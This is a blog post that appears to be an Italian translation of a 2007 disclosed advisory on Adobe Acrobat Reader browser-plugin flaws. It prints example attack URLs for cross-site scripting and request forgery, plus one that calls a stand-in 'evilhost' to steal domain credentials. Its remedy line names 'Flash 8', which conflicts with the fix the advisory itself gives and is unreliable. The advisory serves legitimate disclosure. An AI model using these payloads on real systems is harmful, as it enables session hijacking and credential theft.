ush.it - a beautiful place

Adobe Acrobat Reader Plugin: Multiple Vulnerabilities

January 4, 2007 at 1:56 am - Filed under Insecurity, Language EN - 993 words, reading time ~3 minutes - Permalink - Comments

At CCC my friends Stefano Di Paola and Giorgio Fedon releades some of their latest findings, note that this is a translation in italiano of the original advisory aviable on wisec.it (http://www.wisec.it/vulns.php?page=9) that of course is in english. The advisory is focused on some specific bugs, one of these is called UXSS (Universal Cross Site Scripting) in PDF files.

Al CCC i miei amici Stefano Di Paola e Giorgio Fedon hanno rilasciato alcune delle loro scoperte recenti, questa e' una traduzione in italiano dell'advisory originale disponibile su wisec.it (http://www.wisec.it/vulns.php?page=9) che e' in lingua inglese. L'advisory riguarda alcuni bachi specifici tra cui UXSS (Universal Cross Site Scripting) attraverso i file PDF.

Title: Adobe Acrobat Reader Plugin - Multiple Vulnerabilities
Original Discovery and Research: Stefano Di Paola
Contribution: Giorgio Fedon (IE Dos, UXSS Analysis) and Elia Florio (Poc and Code Execution analysis)
Vulnerable: Adobe Acrobat Reader Plugin <= 7.0.x
Type of Vulnerability: Multiple (UXSS, UCRSF, Code Execution)
Tested On: Firefox 1.5.0.7 and Below, 2.0RC2 under Windows XP SP2, Firefox 1.5.0.7 and Below, 2.0RC2 under Ubuntu 6.06, Internet Explorer SP2 under Windows XP SP2
Vendor Status: Vendor Informed on 15 October 2006, Adobe Released a fix on Version 8.0.0
Resources: Presented at 23rd CCC Congress: Subverting Ajax, paper can be dowloaded here (http://events.ccc.de/congress/2006/Fahrplan/events/1602.en.html)

Sommario

Il plugin Adobe Acrobat per Mozilla Firefox (acroreader) e' capace di popolare i form di un file PDF tramite blocchi di dati esterni tramite i paramtri FDF, XML e XFDF.

Le implementazioni delle funzionalita' di FDF, XML, XFDF nel plugin di Acrobat Reader (http://partners.adobe.com/public/developer/en/acrobat/PDFOpenParameters.pdf) sono vulnerabili a differenti tipi di attacco. Le vulnerabilita' e l'impatto varia tra browser e browser:

1. Universal CSRF / session riding;
(Mozilla Firefox, Internet Explorer, Opera + Acrobat Reader plugin)

2. UXSS in #FDF, #XML e #XFDF;
(Mozilla Firefox + Acrobat Reader plugin)

3. Possible Remote Code Execution;
(Mozilla Firefox + Acrobat Reader plugin)

4. Denial of Service;
(Internet Explorer + Acrobat Reader plugin)

1. Universal CSRF and session riding

Questa specifica vulnerabilita' e' probabilmente legata ad Adobe dato che tutti i bowser testati ne erano afflitti (Internet Explorer, Mozilla Firefox, Opera).

Puo' essere sfruttata tramite un url del tipo:
http://site.com/file.pdf#FDF=http://victim.com/index.html?param=...

Automaticamente il plugin Adobe inviera' una richiesta a 'victim.com' senza iterazione utente richiedendo la risorsa accessibile all'url specificato nel parametro FDF

Questo puo' essere utilizzato come un Universal Session Riding (aka UCSRF) che e' un attacco ben conosciuto. Lo stesso effetto puo' essere ottenuto tramite i parametri XML e XFDF.

2. UXSS in #FDF, #XML e #XFDF

In aggiunta utilizzando la richiesta qui sotto e' possibile eseguire codice JavaScript all'interno di Mozilla Firefox:

http://site.com/file.pdf#FDF=javascript:alert('Test Alert')

Il codice JS viene eseguito nel contesto del sito e quindi viene chiamato Universal Cross Site Scripting. UXSS e' un tipo particolare di Cross Site Scripting che ha la capacita' di essere eseguito exploitando vulnerabilita' all'interno dei browser invece di fare leva sulle vulnerabilita' contro siti web insicuri. E' anche possibile forzare il client a scaricare file tramite:

http://site.com/file.pdf#FDF=javascript:document.location= 'file://C:/winnt/notepad.exe'

Attacco Alternativo utilizzando i NamedPipes (http://www.514.es/2006/10/exploiting_win32_design_flaws.html)

Per rubare le credenziali di dominio con explorer:

http://anyhost/file.pdf#fdf=res://\\evilhost\pipe\apipe

E quindi applicando le tecniche esposte nel paper 514.es abbiamo scoperto che questo tipo di url e protocollo (res://) poteva essere utilizzato.

Questo significa che anche Internet Explorer puo' essere abusato assieme al plugin Adobe per attaccare le LAN interne e ottenere le credenziali delle vittime.

3. Possible Remote Code Execution

E' stata trovata inoltre una possibile remote code execution tramite una memory corruption ottenuta tramite la richiesta seguente:

http://site.com/file.pdf#FDF=javascript:document.write('jjjjj...');

It's possible to cause a DoubleFree() error and to overwrite part of the Structural Exception Handler.

Analisi runtime della vulnerabilita'

Il problema sembra essere causato da una "Double MSVCRT.free()" eseguita dal plugin Adobe Acrobat Reader. La routine che causa il crash di Mozilla Firefox e' situata nella chiamata successiva a NP_Shutdown().

Elia Florio ha curato la parte relativa all'analisi runtime e alla stesura del POC.

NB: Il POC per questa vulnerabilita' non verra' rilasciato.

4. Denial of Service (Internet Explorer only);

Inviando questa richiesta al browser e' possibile causare un DoS in Microsoft Internet Explorer:

http://site.com/file.pdf#####...(More '#')

L'applicazione aspetta altro input e alloca altra memoria.

Soluzione

Scarica Flash 8 per fissare il problema.

Grazie alla gente di Adobe Psirt, sono stati veramente gentili e professionali.

Disclaimer

In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

English translation Adobe Acrobat Reader Plugin: Multiple Vulnerabilities (Florence, 03rd January 2007)

THP USH Wisec DigitalBullets